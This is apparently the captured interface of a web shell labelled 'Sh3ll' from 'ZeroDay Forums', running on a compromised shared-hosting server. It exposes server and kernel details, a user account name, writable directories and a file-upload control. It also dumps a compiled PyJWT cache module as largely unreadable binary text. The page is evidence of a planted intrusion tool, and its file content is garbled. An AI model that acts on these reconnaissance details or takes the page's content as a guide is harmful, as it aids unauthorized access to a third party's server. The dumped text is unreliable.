Sh3ll
OdayForums


Server : LiteSpeed
System : Linux premium84.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : claqxcrl ( 523)
PHP Version : 8.1.32
Disable Function : NONE
Directory :  /opt/cloudlinux/venv/lib64/python3.11/site-packages/jwt/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //opt/cloudlinux/venv/lib64/python3.11/site-packages/jwt/__pycache__/jwk_set_cache.cpython-311.pyc
�

�h���D�ddlZddlmZddlmZmZGd�d��ZdS)�N)�Optional�)�PyJWKSet�PyJWTSetWithTimestampc�R�eZdZdeddfd�Zdeddfd�Zdeefd�Zde	fd�Z
dS)	�JWKSetCache�lifespan�returnNc�"�d|_||_dS�N)�jwk_set_with_timestampr	)�selfr	s  �H/opt/cloudlinux/venv/lib64/python3.11/site-packages/jwt/jwk_set_cache.py�__init__zJWKSetCache.__init__s��GK��#� ��
�
�
��jwk_setc�D�|�t|��|_dSd|_dSr)rr
)rrs  r�putzJWKSetCache.puts.����*?��*H�*H�D�'�'�'�+/�D�'�'�'rc�n�|j�|���rdS|j���Sr)r
�
is_expired�get_jwk_set�rs r�getzJWKSetCache.gets4���&�.�$�/�/�2C�2C�.��4��*�6�6�8�8�8rc��|jduo@|jdko5tj��|j���|jzkS)N���)r
r	�time�	monotonic�
get_timestamprs rrzJWKSetCache.is_expiredsR���'�t�3�
J��
��"�
J��� � ��)�7�7�9�9�D�M�I�J�	
r)�__name__�
__module__�__qualname__�intrrrrr�boolr�rrrrs�������!��!��!�!�!�!�/�8�/��/�/�/�/�9�X�h�'�9�9�9�9�
�D�
�
�
�
�
�
rr)r�typingr�api_jwkrrrr$rr�<module>r'sj������������4�4�4�4�4�4�4�4�
�
�
�
�
�
�
�
�
�
r

ZeroDay Forums Mini